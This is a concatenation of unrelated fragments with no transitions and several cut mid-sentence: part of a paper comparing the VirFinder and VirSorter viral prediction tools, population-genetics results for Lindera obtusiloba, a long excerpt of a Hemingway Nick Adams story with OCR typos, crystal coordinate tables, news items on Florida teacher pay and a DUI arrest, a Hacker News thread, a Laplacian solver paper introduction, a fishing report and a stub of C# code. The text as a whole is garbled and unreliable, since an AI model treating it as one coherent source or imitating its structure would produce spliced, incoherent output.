and 19% for 1000--3000 and \>3000 bp, respectively, using categories I and II. At the same controlled FPR, VirFinder's had TPRs of 7.4 and 67%, or 3.0 and 3.5 times higher than VirSorter's TPRs.Fig. 5Evaluation of VirFinder (VF) and VirSorter (VS) predictions on contigs for 3 length ranges assembled from 20 M reads simulated human gut metagenomes at 50% viral level. Bars depict true prediction rates (TPRs) for VirSorter category I; I and II; and I, II, and III predictions. As in Fig. [2](#Fig2){ref-type="fig"}, VirFinder predictions were evaluated at the same false positive rates (FPR) as corresponding VirSorter results. Thirty replicate bootstrap samples of contigs assembled from simulated metagenomes were tested for each condition. Metagenomes were simulated based on the relative abundance of complete virus and host genomes found in a real human gut metagenome. The horizontal bar displays the median, boxes display the first and third quartiles, and whiskers depict minimum and maximum values. Asterisk indicates VirFinder's TPRs are significantly larger than VirSorter's (Wilcoxon signed-rank one-sided test, p \< 10^−4^) Viral prediction performance was also evaluated using unbalanced fractions of viral and host contigs. Overall, VirFinder's TPRs were significantly higher than VirSorter's TPRs for all 3 ranges of contig length, all 3 VirSorter category combinations considered, and all datasets with different viral fractions (p ≤ 10--3) (Additional file [1](#MOESM1){ref-type="media"}: Figure S5). Performances were also evaluated when parsing the results for all contigs \>500 bp or all contigs \>1000 bp. The simulated assembled contig dataset contained on average 41% 500--1000 bp contigs, 38% 1000--3000 bp contigs, and 20% \>3000 bp contigs. When considering all contigs \>500 bp, VirFinder had significantly greater TPRs than VirSorter except when comparing category I or category I and II VirSorter results with 10% viral samples and when comparing category I and II VirSorter results with 50% viral samples (Additional file [1](#MOESM1){ref-type="media"}: Figure S6). When considering all contigs \>1000 bp, however, VirFinder had significantly higher TPRs than VirSorter under all scenarios at equivalent FPRs (Additional file [1](#MOESM1){ref-type="media"}: Figure S6). Example application: identification and analysis of viral communities in human gut metagenomes from a liver cirrhosis study {#Sec10} --------------------------------------------------------------------------------------------------------------------------- We applied the VirFinder tool to study real human gut metagenomes of healthy and liver cirrhosis patients. Qin et al. \[[@CR36]\] previously reported the alteration of human gut microbiomes associated with liver cirrhosis. Their analysis only focused on the bacterial microbiome by mapping reads to reference bacterial genomes. Roughly 40% of the reads were unaligned, indicating that the remaining reads represent unknown bacterial or archaea or more importantly prokaryotic viruses. We reanalyzed the Qin et al. dataset using VirFinder (and VirSorter) to identify viruses in these metagenomes and any potential differences in the prokaryotic viromes of healthy and diseased patients. Reads from 40 healthy and 38 liver cirrhosis patients, comprising 316 Gb of total sequence data were cross-assembled. Only the resulting 325,020 contigs that were \>1000 bp in length were retained to achieve high prediction accuracy. The majority (76%) of contigs were 1000--3000 bp long (Additional file [1](#MOESM1){ref-type="media"}: Figure S7). VirSorter predicted 2657 contigs as viral using category levels I and II. To make fair comparisons, we also analyzed the 2657 contigs with the highest VirFinder scores. The false positive rate for these VirFinder contigs was estimated at 15% using q values estimated by the positive false discovery rate (pFDR) method \[[@CR37], [@CR38]\]. Contigs were binned using COCACOLA \[[@CR39]\] based on k-mer frequencies and abundance patterns across samples to group similar contigs. This produced 86 and 116 bins for VirSorter and VirFinder contigs, respectively. The abundance profiles of contig bins across 78 samples of health and diseased patients were used to train classification models to distinguish health status. The logistic regression model with lasso regularization was used in order to enhance the prediction accuracy and interpretability. These models were then tested on an independent set of 230 samples from the same study \[[@CR36]\] using ROC curves and AUROC scores. Model results using VirFinder binned contigs had a larger AUROC score, 0.87, than those for VirSorter bins, 0.77. The ROC curve for VirFinder was above that of VirSorter for most of the plot (Fig. [6](#Fig6){ref-type="fig"}). The high AUROC scores demonstrate that virome data mined by virus prediction software can predict with good confidence the health status of patients. The ROC results furthermore indicate that viral contigs predicted by VirFinder can better distinguish between healthy individuals and liver cirrhosis patients.Fig. 6ROC curves and AUROC scores for classifying healthy and liver cirrhosis patients based on abundance profiles of predicted viral contig bins. The models were trained using averaged bin coverage (averaged RPKM of contigs in the bin) of 78 samples of health and diseased patients and then tested on an independent set of 230 samples from the same study. Each set of 2657 viral contigs predicted by VirFinder and VirSorter were separately binned based on sequence tetranucleotide frequencies and contig coverages normalized by contig length and number of mapped reads in samples. The numbers in the square brackets are the lower and upper 2.5% quantiles Similarity searches of contigs and their predicted proteins against NCBI's non-redundant nucleotide (nt) or protein (nr) databases were conducted to determine if contigs and bins do not have any similarity to previously known sequences and thus potentially represent novel viral sequences. Searches against nt and nr assessed if contigs are closely or distantly related to known sequences, respectively. Only 12% of contigs were ≥95% similar to another bacterial or viral sequence in the nt database (requiring an E value \<1e^−10^ for ≥100 bp). It has recently been suggested that virus species distinguish from each other by \~95% nucleotide identity \[[@CR40]\] thus the majority
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910, 709, 14, 881, 568, 6962, 14 ]	IBE), and historical climatic instability (IBI) with respect to multiple population genetic distance indices of both nSSRs and cpDNA markers in the overall range (overall) of Lindera obtusiloba and two subregions (NEA and SEA) within this range Regions Genetic divergence β~Total~ β~IBD~ β~IBE~ β~IBI~ --------------- -------------------------------------------------- --------------------------------------------------- -------------------------------------------------- --------------------------------------------------- ------------------------------------------------- Overall nSSRs F~ST~ 0.6227[\\](#ece36200-note-0002){ref-type="fn"} 0.0577[\](#ece36200-note-0001){ref-type="fn"} −0.0468[\\](#ece36200-note-0002){ref-type="fn"} 0.123[\\](#ece36200-note-0002){ref-type="fn"} R~ST~* 0.5898[\\](#ece36200-note-0002){ref-type="fn"} 0.1035[\\](#ece36200-note-0002){ref-type="fn"} −0.0261 0.1308[\\](#ece36200-note-0002){ref-type="fn"} Overall cpDNA G~ST~ 0.4056[\](#ece36200-note-0001){ref-type="fn"} −0.1445[\](#ece36200-note-0001){ref-type="fn"} 0.0932[\](#ece36200-note-0001){ref-type="fn"} 0.0924 N~ST~* 0.3746[\\](#ece36200-note-0002){ref-type="fn"} 0.0169 0.0791[\\](#ece36200-note-0002){ref-type="fn"} 0.0178 D~xy~ 0.4211[\\](#ece36200-note-0002){ref-type="fn"} 0.0006[\\](#ece36200-note-0002){ref-type="fn"} −0.0001 0.0002 NEA nSSRs F~ST~ 0.6503[\](#ece36200-note-0001){ref-type="fn"} 0.0229 −0.0002 0.0525 R~ST~* 0.6101[\](#ece36200-note-0001){ref-type="fn"} −0.0794[\\](#ece36200-note-0002){ref-type="fn"} −0.0065 0.2067[\\](#ece36200-note-0002){ref-type="fn"} NEA cpDNA G~ST~* 0.454 −0.1195 0.0316 0.2689 N~ST~ 0.4534 −0.1369 0.0344 0.3404 D~xy~ 0.4464 0.0002 −0.0001 0.0000 SEA nSSRs F~ST~ 0.4064[\](#ece36200-note-0001){ref-type="fn"} −0.0118 −0.0443[\](#ece36200-note-0001){ref-type="fn"} 0.1153[\](#ece36200-note-0001){ref-type="fn"} R~ST~* 0.4710[\\](#ece36200-note-0002){ref-type="fn"} 0.0126 −0.0844[\](#ece36200-note-0001){ref-type="fn"} 0.2226[\\](#ece36200-note-0002){ref-type="fn"} SEA cpDNA G~ST~* 0.3587 −0.1422 0.0393 0.1706 N~ST~ 0.4062[\](#ece36200-note-0001){ref-type="fn"} 0.0411 0.0282 0.0546 D~xy~* 0.5961[\\](#ece36200-note-0002){ref-type="fn"} 0.0010[\\](#ece36200-note-0002){ref-type="fn"} −0.0001 −0.0005 .01 \< p \< .05; p \< .01. John Wiley & Sons, Ltd Both the Mantel test and MMRR analysis indicated a significantly positive relationship between climatic instability resistance and F~ST~/R~ST~ (Mantel: F~ST~: r = .3279, p = .0064; R~ST~: r = .4237, p = .0004; MMRR: F~ST~: β = 0.1153, p = .0393; R~ST~: β = 0.2226, p = .0017; Table [1](#ece36200-tbl-0001){ref-type="table"}; Appendix [S7](#ece36200-sup-0005){ref-type="supplementary-material"}), which is indicative of a strong IBI pattern. Geographical distance showed a significantly positive relationship with R~ST~ based on the Mantel test, whereas we were unable to detect any significant relationships when performing MMRR analysis. In contrast, environmental distance showed a significant negative relationship with both F~ST~ (β = −0.0443, p = .0402) and R~ST~ (β = −0.0844, p = .0227) based on the MMRR analysis, whereas significant relationships were detected using the Mantel test. The contrasting patterns for geographical and environmental distances identified using the Mantel test and MMRR analysis may indicate the weak effects of these two factors on the nuclear genetic patterns in the SEA region. For the NEA region, the weak IBI pattern we identified may be attributable to the fact that only R~ST~ showed a relatively consistent IBI pattern. Although the Mantel test did not identify significant relationships for R~ST~, with respect to geographical and environmental distances, it indicates a marginally significant positive relationship with climatic instability resistance (r = .2657; p = .0784; Appendix [S8](#ece36200-sup-0005){ref-type="supplementary-material"}), whereas MMRR analysis identified a positive relationship with climatic instability resistance (β = 0.2067; p = .0071) and a negative relationship with geographical distance (β = −0.0794; p = .0021; Table [1](#ece36200-tbl-0001){ref-type="table"}). With respect to F~ST~, the Mantel test indicated a significant positive relationship with both geographical distance (r = .5920, p = .0135) and climatic instability resistance (r = .5817, p = .0003), whereas MMRR analysis failed to identify any significant relationships for the three distance indices. Thus, on the basis of the present analyses, we were unable to identify any clear patterns in IBD or IBE in the NEA region. 3.3. IBD, IBE, and IBI in cpDNA {#ece36200-sec-0011} ------------------------------- Our analyses of the chloroplast genome revealed differences in the correlation patterns of the three genetic distance indices throughout the entire distribution range of L. obtusiloba. Using the Mantel test, we found that genetic distance D~xy~, which indicates divergence since the last common ancestor between populations, was significantly correlated with the three factors (Figure [4](#ece36200-fig-0004){ref-type="fig"}), with the highest correlation value observed for geographical distance (r = .4108, p = .0001). MMRR analysis revealed that D~xy~ was only influenced by geographical distance (β = 0.0006, p = .0007; Table [1](#ece36200-tbl-0001){ref-type="table"}). Genetic distance N~ST~ takes into account both the allele frequency between populations and allele genetic distance, and was found to be significantly correlated with the three factors in the Mantel test, with the highest correlation value (r = .3607, p = .0001) being identified for environmental distance (Appendix [S6](#ece36200-sup-0005){ref-type="supplementary-
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187, 187, 3, 1328, 1364, 452, 1705, 275, 253, 8576, 13, 949, 247, 3497, 5046, 13, 285, 10607, 326, 5017, 449, 187, 187, 3, 35, 962, 26871, 449, 187, 187, 3, 1276, 497, 368, 2509, 865, 253, 1980, 259, 6702, 2546, 15, 187, 187, 3, 42, 369, 14343, 253, 1072, 347, 368, 449, 187, 187, 3, 9281, 15, 1281, 434, 15856, 8615, 670, 352, 15, 2064, 2506, 626, 513, 667, 1175, 449, 187, 187, 3, 17570, 326, 14565, 3226, 281, 1705, 562, 1060, 449, 187, 187, 510, 14565, 3226, 2210, 562, 285, 253, 1066, 14, 3409, 637, 753, 281, 617, 13, 346, 1394, 2028, 6827, 15, 16026, 359, 971, 281, 3984, 281, 617, 449, 187, 187, 510, 14565, 3226, 858, 417, 1333, 2712, 533, 2427, 715, 253, 2022, 629, 273, 253, 2419, 13, 40806, 253, 3369, 846, 617, 15, 187, 187, 3, 1394, 1805, 2619, 598, 253, 2120, 285, 253, 6325, 20321, 937, 253, 1066, 14, 3409 ]	"I'd be afraid if I were alone." "It makes me feel strange. But I'm not afraid." "I said that first." "I know. Maybe we say it because we are afraid." "No. I'm not afraid because I'm with you. But I know I'd be afraid alone. Did you ever come here with anyone else?" "No. Only by myself." "And you weren't afraid?" "No. But I always feel strange. Like the way I ought to feel in church." "Nickie, where we're going to live isn't as solemn as this, is it?" "No. Don't you worry. There it's cheerful. You just enjoy this, Littless. This is good for you. This is the way forests were in the olden days. This is about the last good country there is left. Nobody gets in here ever." "I love the olden days. But I wouldn't want it all this solemn." "It wasn't all solemn. But the hemlock forests were." "It's wonderful walking. I thought behind our house was wonderful. But this is better. Nickie, do you believe in God? You don't have to answer if you don't want to." "I don't know." "All right. You don't have to say it. But you don't mind if I say my prayers at night?" "No. I'll remind you if you forget." "Thank you. Because this kind of woods makes me feel awfully religious." "That's why they build cathedrals to be like this." "You've never seen a cathedral, have you?" "No. But I've read about them and I can imagine them. This is the best one we have around here." "Do you think we can go to Europe some time and see cathedrals?" "Sure we will. But first I have to get out of this trouble and learn how to make some money." "Do you think you'll ever make money writing?" "If I get good enough." "Couldn't you maybe make it if you wrote cheerfuller things? That isn't my opinion. Our mother said everything you write is morbid." "It's too morbid for the _St. Nicholas_," Nick said. "They didn't say it. But they didn't like it." "But the _St. Nicholas_ is our favorite magazine." "I know," said Nick. "But I'm too morbid for it already. And I'm not even grown-up." "When is a man grown-up? When he's married?" "No. Until you're grown-up they send you to reform school. After you're grown-up they send you to the penitentiary." "I'm glad you're not grown-up then." "They're not going to send me anywhere," Nick said. "And let's not talk morbid even if I write morbid." "I didn't say it was morbid." "I know. Everybody else does, though." "Let's be cheerful, Nickie," his sister said. "These woods make us too solemn." "We'll be out of them pretty soon," Nick told her. "Then you'll see where we're going to live. Are you hungry, Littless?" "A little." "I'll bet," Nick said. "We'll eat a couple of apples." They were coming down a long hill when they saw sunlight ahead through the tree trunks. Now, at the edge of the timber there was wintergreen growing and some partridge berries and the forest floor began to be alive with growing things. Through the tree trunks they saw an open meadow that sloped to where white birches grew along the stream. Below the meadow and the line of the birches there was the dark green of a cedar swamp and far beyond the swamp there were dark blue hills. There was an arm of the lake between the swamp and the hills. But from here they could not see it. They only felt from the distances that it was there. "Here's the spring," Nicl: said to his sister. "And here's the stones where I camped before." "It's a beautiful, beautiful place, Nickie," his sister said. "Can we see the lake, too?" "There's a place where we can see it. But it's better to camp here. I'll get some wood and we'll make breakfast." "The firestones are very ald." "It's a very old place," Nick said. "The firestones are Indian." "How did you come to it straight through the woods with no trail and no blazes?" "Didn't you see the direction sticks on the three ridges?" "No." "I'll show them to you sometime." "Are they yours?" "No. They're from the old days." "Why didn't you show them to me?" "I don't know," Nick said. "I was showing off I guess." "Nickle, they'll never find us here." "I hope not," Nick said. At about the time that Nick and his sister were entering the first of the slashings the warden who was sleeping on the screen porch of the house that stood in the shade of the trees above the lake was wakened by the sun that, rising above the slope of open land behind the house, shone full on his face. During the night the warden had gotten up for a drink of water and when he had come back from the kitchen he had lain down on the floor with a cushion from one of the chairs for a pillow. Now he waked, realized where he was, and got to his feet. He had slept on his right side because he had a.38 Smith and Wesson revolver in a shoulder holster under his left armpit. Now, awake, he felt for the gun, looked away from the sun, which hurt his eyes, and went into the kitchen where he dipped up a drink of water from the pail beside the kitchen table. The hired girl was building a fire in the stove and the warden said to her, "What about some breakfast?" "No breakfast," she said. She slept in a cabin out behind the house and had come into the kitchen a half an hour before. The sight of the warden lying on the floor of the screen porch and the nearly empty bottle of whiskey on the table had frightened and disgusted her. Then it had made her angry. "What do you mean, no breakfast?" the warden said, still holding the dipper. "Just that." "Why?" "Nothing to eat." "What about coffee?" "No coffee." "Tea?" "No tea. No bacon. No corn meal. No salt. No pepper. No coffee. No Borden's canned cream. No Aunt Jemima buckwheat flour. No nothing." "What are you talking about? There was plenty to eat last night." "There isn't now. Chipmunks must have carried it away." The warden from down-state had gotten up when he heard them talking and had come into the kitchen. "How do you feel this morning?" the hired girl asked him. The warden ignored the hired girl and said, "What is it, Evans?" "That son of a bitch came in here last night and got himself a pack load of grub." "Don't you swear in my kitchen," the hired girl said. "Come out here," the down-state warden said. They both went out on the screen porch and shut the kitchen door. "What does that mean, Evans?" the down-state man pointed at the quart of Old Green River which had less than a quarter left in it. "How skunk-drunk were you?" "I drank the same as you. I sat up by the table—" "Doing what?" "Waiting for the goddamn Adams boy if he showed." "And drinking." "Not drinking. Then I got up and went in the kitchen and got a drink of water about half past four and I lay down here in front of the door to take it easier." "Why didn't you lie down in front of the kitchen door?" "I could see him better from here if he came." "So what happened?" "He must have come in the kitchen, through a window maybe, and loaded that stuff." "Bullshit." "What were you doing?" the local warden asked. "I was sleeping the same as you." "Okay. Let's quit fighting about it. That doesn't do any good." "Tell that hired girl to come out here." The hired girl came out and the down-state man said to her, "You tell Mrs. Adams we want to speak to her." The hired girl did not say anything but went into the main part of the house, shutting the door after her. "You better pick up the full and the empty bottles," the down-state
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313, 1036, 45201, 50270, 17, 15, 23, 187, 50276, 36, 1423, 50273, 2106, 17, 15, 19, 20895, 313, 22, 10, 50273, 2106, 17, 15, 17, 20373, 313, 23, 10, 50274, 17, 15, 30176, 19, 313, 22, 10, 50273, 17, 15, 21274, 19, 313, 1010, 45201, 50270, 17, 15, 23, 187, 50276, 41, 1423, 34, 50274, 2106, 17, 15, 1010, 2358, 50269, 17, 15, 520, 1857, 50269, 17, 15, 21, 25745, 50269, 17, 15, 41796, 3458, 50264, 17, 15, 23, 187, 50276, 41, 1423, 35, 50274, 2106, 17, 15, 938, 1671, 50269, 2106, 17, 15, 2313, 26, 50270, 17, 15, 21, 28333, 50269, 17, 15, 41796, 3458, 50264, 17, 15, 23, 187, 50276, 41, 1423, 36, 50274, 2106, 17, 15, 1717, 3583, 50269, 2106, 17, 15, 35967, 50270 ]	4κO-2,3-dilithium-1,4-dititanium. Fractional atomic coordinates and isotropic or equivalent isotropic displacement parameters (Å^2^) {#d1e3100} ========================================================================================================================================================================================================================================================================================================================================================================================================== ------- --------------- -------------- -------------- -------------------- ------------ x y z U~iso~\/U~eq~ Occ. (\<1) Ti1 −0.29130 (4) 0.27167 (4) 0.60831 (4) 0.03250 (17) Li1 −0.0775 (5) 0.3916 (4) 0.5292 (4) 0.0430 (11) Br1 0.13740 (19) 0.41263 (16) 0.4542 (4) 0.0495 (6) 0.674 (12) Br2 0.1396 (4) 0.4153 (4) 0.4281 (4) 0.0495 (6) 0.326 (12) O1 −0.4149 (2) 0.27962 (18) 0.57128 (16) 0.0442 (5) O2 −0.1909 (2) 0.34242 (17) 0.48909 (15) 0.0430 (5) O3 −0.15594 (17) 0.27994 (15) 0.64078 (14) 0.0342 (4) N1 −0.3643 (2) 0.39751 (19) 0.68255 (18) 0.0357 (5) H1 −0.323 (4) 0.448 (4) 0.664 (3) 0.048 (11)\ N2 −0.3823 (2) 0.17604 (18) 0.73599 (17) 0.0343 (5) N3 −0.2387 (2) 0.1146 (2) 0.5799 (2) 0.0414 (6) H3 −0.230 (4) 0.116 (4) 0.518 (4) 0.077 (15)\* C1 −0.4601 (3) 0.4005 (2) 0.7516 (2) 0.0386 (6) C2 −0.5434 (3) 0.3118 (2) 0.7792 (2) 0.0374 (6) C3 −0.5012 (3) 0.2035 (2) 0.7759 (2) 0.0366 (6) C4 −0.5854 (3) 0.1220 (3) 0.8087 (2) 0.0442 (7) H4A −0.5594 0.0483 0.8112 0.053\* C5 −0.7044 (3) 0.1470 (3) 0.8371 (3) 0.0511 (8) H5A −0.7586 0.0902 0.8585 0.061\* C6 −0.7471 (3) 0.2539 (3) 0.8352 (3) 0.0505 (8) C7 −0.6653 (3) 0.3340 (3) 0.8077 (2) 0.0423 (7) H7A −0.6929 0.4069 0.8081 0.051\* C8 −0.8773 (3) 0.2820 (3) 0.8636 (3) 0.0628 (11) H8A −0.8902 0.3486 0.8216 0.094\* H8B −0.9075 0.2932 0.9271 0.094\* H8C −0.9187 0.2226 0.8604 0.094\* C9 −0.4886 (3) 0.4914 (3) 0.8066 (2) 0.0448 (7) C10 −0.3744 (4) 0.5333 (3) 0.8038 (3) 0.0597 (10) H10A −0.3935 0.5906 0.8389 0.089\* H10B −0.3252 0.5626 0.7393 0.089\* H10C −0.3316 0.4735 0.8312 0.089\* C11 −0.5520 (5) 0.5852 (3) 0.7634 (3) 0.0677 (11) H11A −0.5704 0.6424 0.7986 0.102\* H11B −0.6251 0.5602 0.7643 0.102\* H11C −0.5015 0.6140 0.6992 0.102\* C12 −0.5613 (3) 0.4498 (3) 0.9095 (3) 0.0545 (8) H12A −0.5698 0.5069 0.9433 0.082\* H12B −0.5211 0.3861 0.9350 0.082\* H12C −0.6393 0.4300 0.9158 0.082\* C13 −0.2379 (3) 0.0185 (2) 0.6279 (2) 0.0453 (7) C14 −0.2662 (3) 0.0043 (2) 0.7277 (3) 0.0467 (8) C15 −0.3413 (3) 0.0789 (2) 0.7780 (2) 0.0409 (7) C16 −0.3732 (3) 0.0539 (3) 0.8745 (3) 0.0482 (8) H16A −0.4255 0.1022 0.9092 0.058\* C17 −0.3313 (3) −0.0384 (3) 0.9212 (3) 0.0587 (9) H17A −0.3539 −0.0519 0.9866 0.070\* C18 −0.2549 (4) −0.1125 (3) 0.8715 (3) 0.0649 (11) C19 −0.2254 (4) −0.0897 (3) 0.7786 (3) 0.062 (1) H19A −0.1742 −0.1396 0.7451 0.074\* C20 −0.2074 (5) −0.2153 (4) 0.9223 (4) 0.0935 (18) H20A −0.1799 −0.2683 0.8828 0.140\* H20B −0.2703 −0.2465 0.9800 0.140\* H20C −0.1419 −0.1968 0.9366 0.140\* C21 −0.2161 (5) −0.0767 (5) 0.5729 (5) 0.0342 (16)\* 0.6 C22 −0.2181 (5) −0.0386 (6) 0.4752 (5) 0.0452 (15)\* 0.6 H22A −0.1568 0.0145 0.4387 0.068\* 0.6 H22B −0.2035 −0.1009 0.4459 0.068\* 0.6 H22C −0.2952 −0.0050
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1583, 7945, 326, 253, 8415, 673, 273, 10710, 44, 1057, 4311, 4829, 23352, 15, 1723, 13, 2067, 2616, 1056, 253, 3515, 673, 1512 ]	said he would include the teacher pay raise as part of his 2013 budget proposal. If the Legislature approves the extra money for teachers, local school boards would have the final say on how the money is spent. There are about 168,000 teachers statewide. In his first year as governor, Scott approved $1 billion in cuts to public school funding, but last year his budget included a $1 billion increase. He left it to local school boards to determine how much, if any, would go to pay raises. When factoring in recent pay cuts to Florida teachers, Chapman and Brady said the $2,500 for every teacher probably wouldn’t be much of a raise. They said teachers and all state employees had a 3 percent reduction in pay under the state’s pension reform in 2010. Couple that with the 2 percent increase in payroll taxes from Congress, and Chapman says that comes out to an average $2,300 less in pay. Is there a share to all button for Snapchat, Instagram, WhatsApp and other? - deepakravindran I am so fed up by recording across multiple apps to convey the same message out. Is there anyone who is doing a share to all button for stories? It will make life so easy! ====== jabv I think you're looking for WUPHF.com... [0] [0] [http://theoffice.wikia.com/wiki/WUPHF.com_(Website)](http://theoffice.wikia.com/wiki/WUPHF.com_\(Website\)) ------ askafriend Try [https://buffer.com](https://buffer.com) They've made rounds on HN for various reasons, some good and some not so good but their core business is to help content creators share on social media. --- abstract: 'A new method for solving Laplacian linear systems proposed by Kelner et al. involves the random sampling and update of fundamental cycles in a graph. Kelner et al. proved asymptotic bounds on the complexity of this method but did not report experimental results. We seek to both evaluate the performance of this approach and to explore improvements to it in practice. We compare the performance of this method to other Laplacian solvers on a variety of real world graphs. We consider different ways to improve the performance of this method by exploring different ways of choosing the set of cycles and the sequence of updates, with the goal of providing more flexibility and potential parallelism. We propose a parallel model of the Kelner et al. method, for evaluating potential parallelism in terms of the span of edges updated at each iteration. We provide experimental results comparing the potential parallelism of the fundamental cycle basis and our extended cycle set. Our preliminary experiments show that choosing a non-fundamental set of cycles can save significant work compared to a fundamental cycle basis.' author: - \| Erik G. Boman\ \ \ Kevin Deweese\ \ \ John R. Gilbert\ \ \ bibliography: - 'drk.bib' title: Evaluating the Potential of a Dual Randomized Kaczmarz Solver for Laplacian Linear Systems --- Introduction ============ Graph Laplacians ---------------- The Laplacian matrix of a weighted, undirected graph is defined as $L=D-A$, where $D$ is the diagonal matrix containing the sum of incident edge weights and $A$ is the weighted adjacency matrix. The Laplacian is symmetric and positive semidefinite. The Laplacian is also defined for directed graphs [@AgaevChebotarev2005]. Because they are not symmetric, most of the solvers discussed in this paper do not apply, and efficient solution techniques remain an open problem. Solving linear systems on the Laplacians of structured graphs, such as two and three dimensional meshes, has long been important in finite element analysis (with applications in electrical and thermal conductivity, and fluid flow modeling [@BHV2008]) and image processing (with applications in image segmentation, inpainting, regression, and classification [@KMT2011; @McCannPollard2008; @Grady2006]). More recently, solving linear systems on the graph Laplacians of large graphs, with irregular degree distributions, has emerged as an important computational task in network analysis (with applications to maximum flow problems [@CKMST2011], graph sparsification [@SpielmanSrivastava2011], and spectral clustering [@KhoaChawla2015]). Most applied work on Laplacian solvers has been on preconditioned conjugate gradient (PCG) solvers, including support graph preconditioners [@GrembanPHD1996; @BGHNT2006; @BCHT2004], or on specialized multigrid methods [@LivneBrandt2012; @KMT2011]. Several of these methods seem efficient in practice, but none have asymptotic performance guarantees based on the size of the graph. The theoretical computer science community has developed several methods, which we refer to generally as combinatorial Laplacian solvers. These solvers have good complexity bounds but, in most cases, no reported experimental results. Spielman and Teng [@SpielmanTeng2004] first showed how to solve these problems in linear times polylogarithmic work, later improved upon by Koutis, Miller, and Peng [@KMP2010], but their algorithms do not yet have a practical implementation. An algorithm proposed by Kelner et al. [@KOSZ2013] has the potential to solve these linear systems in linear times polylogarithmic work with a simple, implementable algorithm. The Dual Randomized Kaczmarz Algorithm -------------------------------------- The inspiration for the algorithm proposed by Kelner et al. [@KOSZ2013], which we refer to as Dual Randomized Kaczmarz (DRK), is to treat graphs as electrical networks with resistors on the edges. For each edge, the weight is the inverse of the resistance. We can think of vertices as having an electrical potential and a net current at every vertex, and define vectors of these potentials and currents as $v$ and $f$ respectively. These vectors are related by the linear system $L v = f$. Solving this system is equivalent to finding the set of voltages that satisfies the net “injected” currents. Kelner et al.’s DRK algorithm solves this problem with an optimization algorithm in the dual space, which finds the optimal currents on all of the edges subject to the constraint of zero net voltage around all cycles. They use Kaczmarz projections [@Kaczmarz1937] to adjust currents on one cycle at a time, iterating until convergence. We will also refer to the Primal Randomized Kaczmarz (PRK) method that applies Kaczmarz projections in the primal space [@StrohmerVershynin2009]. One sweep of PRK performs a Kaczmarz projection with every row of the matrix. Rows are taken in random order at every sweep. DRK iterates over a set of fundamental cycles, cycles formed by adding individual edges to a spanning tree $T$. The fundamental cycles are a basis for the space of all cycles in the graph [@Diestel2010]. For each off-tree edge $e$, we define the resistance $R_e$ of the cycle $C_e$ that is formed by adding edge $e$ to the spanning tree as the sum of the resistances around the cycle, $$R_e = \sum_{e' \in C_e} r_{e'}$$ which is thought of as approximating the resistance of the off-tree edge $r_e$. DRK chooses cycles randomly, with probability proportional to $R_e/r_e$. The performance of the algorithm depends on the sum of these approximation ratios, a property of the spanning tree called the tree condition number $$\tau(T) = \sum_{e \in E \setminus T} \frac{R_e}{r_e}.$$ The number of iterations of DRK is proportional to the tree condition number. Kelner et al. use a particular type of spanning tree with low tree condition number, called a low stretch tree. Specifically, they use the one described by Abraham and Neiman [@AbrahamNeiman2012] with $\tau=O(m \log{n} \log{\log{n}})$, where $n$ refers to the number of vertices and $m$ refers to the number of edges of the original graph. The work of one iteration is naively the cycle length, but can be reduced to $O(\log{n})$ with a fast data structure, yielding $O(m \log{n}^2 \log{\log{n}})$ total work. Overview -------- The rest of the paper is organized as follows. In Section 2 we survey the related experimental work. Section 3 is an initial evaluation of the DRK algorithm as compared to PCG and PRK. We present our new ideas for improving the performance of DRK in Section 4. In this section we also consider how to perform cycle updates in parallel. Section 5 is an evaluation of the new ideas proposed in Section 4. Related Experimental Work ------------------------- As the DRK algorithm is a recent and theoretical result, there are few existing implementations or performance results. Hoske et al. implemented the DRK algorithm in C++ and did timing comparisons against unpreconditioned CG on two sets of generated graphs [@HLMW15]. They concluded that the solve time of DRK does scale nearly linearly. However, several factors make the running time too
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3656, 725, 11455, 6464, 13, 8790, 13535, 1757, 5182, 4204, 8939, 287, 14845, 5549, 362, 11635, 372, 17420, 1950, 46975, 15, 187, 187, 48, 27759, 639, 6464, 37080, 1151, 345, 498, 86, 1950, 3088, 30645, 774, 1080, 13, 7511, 478, 444, 1397, 251, 401, 607, 249, 13, 299, 10875, 3377, 5586, 247, 27694, 3685, 513, 28099, 287, 23948, 601, 372, 353, 6646, 15, 3315, 10225, 557, 601, 13, 247, 19655, 25581, 7055, 785 ]	to be one of the best months for sailfishing. Eventually the fish will push through the area and right now they are coming through in some pretty big packs. In three trips last week we caught 30 sailfish. That averages to 10 sailfish per day. Double digits are hard to come by some years and we had two trips where we caught 11 sailfish per day. On one of those trips we had a triple on and while we had the tripleheader we hooked another sailfish and now had a quad. That being said, I fired out another bait and wouldn’t you know it, we now had 5 sailfish on at the same time and all with just 3 anglers. With a little bit of controlled chaos we managed to get releases on all 5 sailfish and didn’t lose any from that bunch. Big congrats to that group of guys for getting it done! The sailfish action has continued into this week and we had one trip going 7 for 7 (perfect score) and a few other with at least 4 sailfish per day. I see the sailfish action continuing well into May as these fish start to migrate out of Florida. With April upon us, we are now not just talking about sailfish, but a variety of species come into play. We have seen quite a few big kingfish as well as some mahis. For a while the cobia bite was really good, but that seems to have slowed down. We have caught quite a few mahis. The majority have been large schoolies but we did get some in the 20 to 25 pound range. The only fish missing this spring has been the blackfin tuna. Usually we start seeing the tunas by the beginning of April. The tuna bite is usually best in the late afternoon and I have had some late trips and have not seen them yet. Not to worry though, spring is their time and I’m sure they will show up soon. With summer quickly approaching, now is the time to start planning your trips to the Bahamas. The Bahamas offers quite a variety of fishing opportunities, and we can cater the trips to your specific needs. For starters the full moon on May, June and July offer outstanding mutton snapper fishing. May, June and July also have terrific yellowfin tuna fishing in the “channel”. Throughout the entire summer bottom fishing is hot and you can also troll for blue marlin and mahis all summer long. If I get enough interest I plan on going to Andros again and fishing for the tunas along the Autec buoys. Big mahis and wahoo as well as blue marlin are also part of the plan for Andros. If you are interested in a trip to the islands this summer, give me a shout and we can look at dates and fishing opportunities.Man Arrested for DUI in Jail Parking Lot… A Florida man who was arrested on a DUI charge made it easy for deputies after he was found passed out behind the wheel of a car at a jail parking lot, authorities said. Christopher Lindsey Smith, 29, was arrested at the Pasco County Jail in Land O’ Lakes Sunday night. He was released on bond Monday morning and it was unknown whether he has an attorney. Staff at the jail had gone to check on an unresponsive driver in a gold 2004 Chevy Impala when they found Smith inside with the keys in the ignition and the radio blaring, according to an arrest report obtained by WFLA. After several minutes of banging on the windows of the car, Smith woke up. Deputies could smell a strong odor of alcohol coming from the car and found an open container of beer in the cupholder, the report said. Smith admitted to having a “couple of beers” and said he was dropping a friend off at the jail, the report said. He refused a breath test but was arrested and booked into jail just a few feet away, deputies said.using Artemis.Core; using Artemis.UI.Shared; using Artemis.UI.Shared.Services; using SkiaSharp; namespace 